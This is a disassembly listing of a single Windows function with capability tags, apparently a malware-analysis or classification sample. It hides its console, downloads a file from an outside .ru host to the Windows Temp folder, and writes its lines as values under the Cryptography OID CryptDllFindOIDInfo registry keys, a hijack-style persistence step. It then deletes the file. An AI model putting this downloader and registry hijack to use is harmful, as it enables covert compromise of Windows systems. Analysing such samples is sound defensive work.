Function at 0x401070
Capabilities:
Delete file
Download url
Hide graphical window
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ed1d
mov eax, dword fs:[0]
push eax
sub esp, 0x5d0
mov eax, dword [0x42f070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
mov dword [ebp - 0x524], esi
mov dword [ebp - 0x520], esi
mov dword [ebp - 0x51c], esi
push ecx
lea ecx, [ebp - 0x5dc]
mov dword [ebp - 4], esi
call fcn.00401c50
mov dword [ebp - 0x4a4], 0xf
mov dword [ebp - 0x4a8], esi
mov byte [ebp - 0x4b8], 0
xor eax, eax
mov dword [ebp - 0x444], 7
mov dword [ebp - 0x448], esi
mov word [ebp - 0x458], ax
mov dword [ebp - 0x48c], 7
mov dword [ebp - 0x490], eax
mov word [ebp - 0x4a0], ax
mov dword [ebp - 0x42c], 7
mov dword [ebp - 0x430], eax
mov word [ebp - 0x440], ax
mov dword [ebp - 0x474], 7
mov dword [ebp - 0x478], eax
mov word [ebp - 0x488], ax
mov dword [ebp - 0x45c], 7
mov dword [ebp - 0x460], eax
mov word [ebp - 0x470], ax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x500]
push 0x20
push str.https:__sh.izhtender.ru_program_
mov dword [ebp - 0x4ec], 7
mov dword [ebp - 0x4f0], eax
mov word [ebp - 0x500], ax
call fcn.004055f0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x4e8]
push 0x10
xor eax, eax
mov dword [ebp - 0x4d4], 7
push str.C:WindowsTemp_
mov dword [ebp - 0x4d8], esi
mov word [ebp - 0x4e8], ax
call fcn.004055f0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4d0]
push 0xb
xor eax, eax
mov dword [ebp - 0x4bc], 7
push str.OIDList.inf
mov dword [ebp - 0x4c0], esi
mov word [ebp - 0x4d0], ax
call fcn.004055f0
lea eax, [ebp - 0x4d0]
mov byte [ebp - 4], 0xa
push eax
lea edx, [ebp - 0x4e8]
lea ecx, [ebp - 0x428]
call fcn.00403c80
mov edi, eax
lea eax, [ebp - 0x4d0]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x500]
lea ecx, [ebp - 0x518]
call fcn.00403c80
add esp, 8
cmp dword [edi + 0x14], 8
jb 0x40122c
mov edi, dword [edi]
cmp dword [eax + 0x14], 8
jb 0x401234
mov eax, dword [eax]
push 0
push 0
push edi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov eax, dword [ebp - 0x504]
cmp eax, 8
jb 0x401260
inc eax
lea ecx, [ebp - 0x518]
push eax
push dword [ebp - 0x518]
call fcn.004062b0
xor eax, eax
mov byte [ebp - 4], 0xa
mov word [ebp - 0x518], ax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x504], 7
mov dword [ebp - 0x508], 0
cmp eax, 8
jb 0x40129f
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
lea eax, [ebp - 0x4d0]
push eax
lea edx, [ebp - 0x4e8]
lea ecx, [ebp - 0x428]
call fcn.00403c80
add esp, 4
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x14], 8
jb 0x4012c6
mov eax, dword [eax]
sub esp, 8
lea ecx, [ebp - 0x5cc]
push eax
call fcn.00403400
test eax, eax
lea ecx, [ebp - 0x5dc]
mov eax, dword [ebp - 0x5dc]
push 0
mov eax, dword [eax + 4]
jne 0x4012fe
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
jmp 0x40130a
add ecx, eax
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
push eax
call fcn.00404c70
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x401335
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
cmp dword [ebp - 0x580], 0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x40189e
mov eax, dword [ebp - 0x5dc]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x5d0], 1
jne 0x40181c
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop word [eax + eax]
sub esp, 8
lea eax, [ebp - 0x410]
lea ecx, [ebp - 0x5dc]
push eax
call fcn.00402740
cmp byte [ebp - 0x410], 0
jne 0x401392
xor ecx, ecx
jmp 0x4013a9
lea ecx, [ebp - 0x410]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a0
sub ecx, edx
push ecx
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x4b8]
call fcn.00405ca0
mov ecx, dword [ebp - 0x4a8]
test ecx, ecx
je 0x401805
cmp dword [ebp - 0x4a4], 0x10
lea eax, [ebp - 0x4b8]
push 0
cmovae eax, dword [ebp - 0x4b8]
push 0
push ecx
push eax
push 8
push 0xfde9
call edi
mov ecx, dword [ebp - 0x448]
mov esi, eax
cmp esi, ecx
ja 0x40141b
cmp dword [ebp - 0x444], 8
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x448], esi
cmovae ecx, dword [ebp - 0x458]
xor eax, eax
mov word [ecx + esi*2], ax
jmp 0x40142d
mov eax, esi
sub eax, ecx
lea ecx, [ebp - 0x458]
push 0
push eax
call fcn.004061b0
cmp dword [ebp - 0x444], 8
lea ecx, [ebp - 0x458]
push esi
cmovae ecx, dword [ebp - 0x458]
lea eax, [ebp - 0x4b8]
cmp dword [ebp - 0x4a4], 0x10
push ecx
push dword [ebp - 0x4a8]
cmovae eax, dword [ebp - 0x4b8]
push eax
push 8
push 0xfde9
call edi
push 1
sub esp, 8
lea ecx, [ebp - 0x458]
call fcn.00402e60
mov esi, eax
lea ecx, [ebp - 0x458]
push esi
push 0
lea eax, [ebp - 0x428]
push eax
call fcn.00401c10
mov edi, eax
lea eax, [ebp - 0x4a0]
cmp eax, edi
je 0x4014e1
mov eax, dword [ebp - 0x48c]
cmp eax, 8
jb 0x4014b8
inc eax
lea ecx, [ebp - 0x4a0]
push eax
push dword [ebp - 0x4a0]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x48c], 7
push edi
lea ecx, [ebp - 0x4a0]
mov dword [ebp - 0x490], 0
mov word [ebp - 0x4a0], ax
call fcn.00405da0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x401503
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
mov eax, dword [ebp - 0x448]
lea ecx, [ebp - 0x458]
sub eax, esi
dec eax
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.00401c10
mov esi, eax
lea eax, [ebp - 0x440]
cmp eax, esi
je 0x401576
mov eax, dword [ebp - 0x42c]
cmp eax, 8
jb 0x40154d
inc eax
lea ecx, [ebp - 0x440]
push eax
push dword [ebp - 0x440]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x42c], 7
push esi
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x430], 0
mov word [ebp - 0x440], ax
call fcn.00405da0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x401598
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
lea eax, [ebp - 0x4a0]
mov edx, str.SOFTWAREMicrosoftCryptographyOIDEncodingType_0CryptDllFindOIDInfo_
push eax
lea ecx, [ebp - 0x428]
call fcn.00403d60
add esp, 4
mov esi, eax
lea eax, [ebp - 0x488]
cmp eax, esi
je 0x401605
mov eax, dword [ebp - 0x474]
cmp eax, 8
jb 0x4015dc
inc eax
lea ecx, [ebp - 0x488]
push eax
push dword [ebp - 0x488]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x474], 7
push esi
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x478], 0
mov word [ebp - 0x488], ax
call fcn.00405da0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x401627
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
lea eax, [ebp - 0x4a0]
mov edx, str.SOFTWAREWow6432NodeMicrosoftCryptographyOIDEncodingType_0CryptDllFindOIDInfo_
push eax
lea ecx, [ebp - 0x428]
call fcn.00403d60
add esp, 4
mov esi, eax
lea eax, [ebp - 0x470]
cmp eax, esi
je 0x401694
mov eax, dword [ebp - 0x45c]
cmp eax, 8
jb 0x40166b
inc eax
lea ecx, [ebp - 0x470]
push eax
push dword [ebp - 0x470]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x45c], 7
push esi
lea ecx, [ebp - 0x470]
mov dword [ebp - 0x460], 0
mov word [ebp - 0x470], ax
call fcn.00405da0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x4016b6
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
cmp dword [ebp - 0x474], 8
lea eax, [ebp - 0x488]
cmovae eax, dword [ebp - 0x488]
sub esp, 8
push 0x2011f
sub esp, 8
push eax
push ecx
lea ecx, [ebp - 0x524]
call fcn.00405e10
test eax, eax
jne 0x4017f9
cmp dword [ebp - 0x42c], 8
lea edx, [ebp - 0x440]
cmovae edx, dword [ebp - 0x440]
test edx, edx
je 0x4017f9
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401710
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub ecx, esi
mov esi, dword [ebp - 0x524]
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push str.Name
push esi
call edi
test eax, eax
jne 0x4017ff
test esi, esi
je 0x401759
push esi
call ebx
mov dword [ebp - 0x524], 0
cmp dword [ebp - 0x45c], 8
lea eax, [ebp - 0x470]
mov dword [ebp - 0x520], 0
cmovae eax, dword [ebp - 0x470]
sub esp, 8
push 0x2001f
sub esp, 8
push eax
push ecx
lea ecx, [ebp - 0x524]
call fcn.00405e10
test eax, eax
jne 0x4017f9
cmp dword [ebp - 0x42c], 8
lea edx, [ebp - 0x440]
cmovae edx, dword [ebp - 0x440]
test edx, edx
je 0x4017f9
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4017b0
sub ecx, esi
mov esi, dword [ebp - 0x524]
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push str.Name
push esi
call edi
test eax, eax
jne 0x4017ff
test esi, esi
je 0x4017ed
push esi
call ebx
xor esi, esi
mov dword [ebp - 0x524], esi
mov dword [ebp - 0x520], 0
jmp 0x4017ff
mov esi, dword [ebp - 0x524]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x5dc]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x5d0], 1
je 0x401370
lea ecx, [ebp - 0x5cc]
call fcn.00403340
test eax, eax
jne 0x401856
mov eax, dword [ebp - 0x5dc]
lea ecx, [ebp - 0x5dc]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00404c70
lea eax, [ebp - 0x4d0]
push eax
lea edx, [ebp - 0x4e8]
lea ecx, [ebp - 0x428]
call fcn.00403c80
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x401879
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x40189e
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.004062b0
mov eax, dword [ebp - 0x4bc]
cmp eax, 8
jb 0x4018bc
inc eax
lea ecx, [ebp - 0x4d0]
push eax
push dword [ebp - 0x4d0]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x4bc], 7
mov word [ebp - 0x4d0], ax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x4c0], 0
cmp eax, 8
jb 0x4018f7
inc eax
lea ecx, [ebp - 0x4e8]
push eax
push dword [ebp - 0x4e8]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x4d4], 7
mov word [ebp - 0x4e8], ax
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x4d8], 0
cmp eax, 8
jb 0x401932
inc eax
lea ecx, [ebp - 0x500]
push eax
push dword [ebp - 0x500]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x4ec], 7
mov word [ebp - 0x500], ax
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x4f0], 0
cmp eax, 8
jb 0x40196d
inc eax
lea ecx, [ebp - 0x470]
push eax
push dword [ebp - 0x470]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x45c], 7
mov word [ebp - 0x470], ax
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x460], 0
cmp eax, 8
jb 0x4019a8
inc eax
lea ecx, [ebp - 0x488]
push eax
push dword [ebp - 0x488]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x474], 7
mov word [ebp - 0x488], ax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x478], 0
cmp eax, 8
jb 0x4019e3
inc eax
lea ecx, [ebp - 0x440]
push eax
push dword [ebp - 0x440]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x42c], 7
mov word [ebp - 0x440], ax
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x430], 0
cmp eax, 8
jb 0x401a1e
inc eax
lea ecx, [ebp - 0x4a0]
push eax
push dword [ebp - 0x4a0]
call fcn.004062b0
xor eax, eax
mov dword [ebp - 0x48c], 7
mov word [ebp - 0x4a0], ax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x490], 0
cmp eax, 8
jb 0x401a59
inc eax
lea ecx, [ebp - 0x458]
push eax
push dword [ebp - 0x458]
call fcn.004062b0
xor eax, eax
mov byte [ebp - 4], 1
mov word [ebp - 0x458], ax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x444], 7
mov dword [ebp - 0x448], 0
cmp eax, 0x10
jb 0x401aca
mov ecx, dword [ebp - 0x4b8]
inc eax
cmp eax, 0x1000
jb 0x401ac1
test cl, 0x1f
je 0x401a9d
call fcn.0040c9e1
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x401aa9
call fcn.0040c9e1
sub ecx, eax
cmp ecx, 4
jae 0x401ab5
call fcn.0040c9e1
cmp ecx, 0x23
jbe 0x401abf
call fcn.0040c9e1
mov ecx, eax
push ecx
call fcn.0040774a
add esp, 4
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x4a4], 0xf
mov dword [ebp - 0x4a8], 0
mov byte [ebp - 0x4b8], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5dc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x5e0], eax
lea ecx, [ebp - 0x5cc]
call fcn.00402690
mov eax, dword [ebp - 0x5dc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5dc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x5e0], eax
lea eax, [ebp - 0x56c]
mov byte [ebp - 4], 0x11
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00406617
add esp, 4
test esi, esi
je 0x401b62
push esi
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040774f
mov esp, ebp
pop ebp
ret